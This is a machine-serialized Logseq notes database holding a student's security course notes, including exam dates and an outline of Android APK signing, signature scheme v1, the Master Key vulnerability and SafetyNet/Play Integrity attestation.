ecosystemslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Flogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b5fc-4605-b71f-6278a6c0bb36logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Retake: `27.03.2025`, `10:00-12:00` @`GHH`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Flogseq____&quot;,140,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Vlogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e184-4146-86e8-5c4ebd9e56felogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Some web logseq____&amp; network securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Flogseq____&quot;,136,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9202-4eef-8da0-985029469d5dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Usable Securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Flogseq____&quot;,138,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-cf61-4610-942e-67774c561098logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hardware-based securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Flogseq____&quot;,135,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6e64-4223-89c8-6211f4ee2864logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Platform Securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Flogseq____&quot;,133,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e583-4414-870d-ed2091e6acc0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fuchsialogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Flogseq____&quot;,137,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8635-4a87-8db5-96c8250e4227logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;End-Term: `28.02.2025`, `10:00-12:00` @`GHH`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Flogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Vlogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ff5f-46be-a1b3-a6aa24ba4642logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Content:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Flogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Vlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-83d8-44db-8eca-8b95018248f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Examslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Flogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Vlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6935-44cd-b67a-d58ff474fcb5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;package integrity and authenticitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^11logseq____&quot;,logseq____&quot;Package Integrity and Authenticitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-80b0-4285-b890-1fee3bfc13fclogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### SafetyNet Attestationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Flogseq____&quot;,163,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5ece-4a11-bce5-80ed380babd1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No authenticity (developer self-signs certificate)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Flogseq____&quot;,162,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7f36-48d3-aff1-8d217ec670b1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#### Master Key Vulnerability (Signing Key)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Flogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,4],536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-72b2-4b5b-914f-cafeaf17937flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Created using `apksigner`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Flogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-89ba-45f8-9f5e-881a59176c1flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`logseq____&lt;signerlogseq____&gt;.SF`: List of resources and their signature valuelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Flogseq____&quot;,151,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a626-4e75-8929-b8c44f36d1a9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;New publishing formatlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Flogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8c1e-4034-8b5d-19fbfc832580logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Manifest.mf`: List of packaged files and their hashlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Flogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ae62-4d8f-a014-6e56134cd4d5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android *installed* the *second* filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Flogseq____&quot;,153,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-98c8-4485-9491-b954df933b13logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android *verfied* the *first* filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Flogseq____&quot;,175,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7ffe-475b-9860-738b98e5acfclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Signature Scheme v1 (JAR signing) #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Flogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-cd58-4b54-90dc-0fbe6da0861flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*trust on first install*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Flogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Vlogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-caf9-4ff4-882a-b3dab56d10cblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Verify App runs on a verified devicelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Flogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1243-4e5b-af45-1c9c3a85be4elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart TB\\n B(\\logseq____&quot;Step 1: Verify the certificate\\logseq____&quot;) --logseq____&gt; C(\\logseq____&quot;Step 2: Using certificatelogseq____&apos;s public key, verify the signature of logseq____&amp;lt;signerlogseq____&amp;gt;.sf\\logseq____&quot;)\\n C --logseq____&gt; D(\\logseq____&quot;Step 3: Check that entries in logseq____&amp;lt;signerlogseq____&amp;gt;.sf match those in Manifest.mf\\logseq____&quot;)\\n D --logseq____&gt; E(\\logseq____&quot;Step 4: For each file listed in Manifest.mf, confirm its hash is correct\\logseq____&quot;)\\n\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Flogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Vlogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5acc-4dab-b09e-587a6642652dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Contains code and resources (*organized in modules*)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Flogseq____&quot;,150,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-561a-4379-9490-03155a367df2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;subsequent updates ensure integritylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Flogseq____&quot;,155,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Vlogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-86c2-4f78-a3a8-5e3e0face7bclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Signature Schemeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Flogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-747f-414d-8431-d25e8a722816logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Google Play Integrity API* as 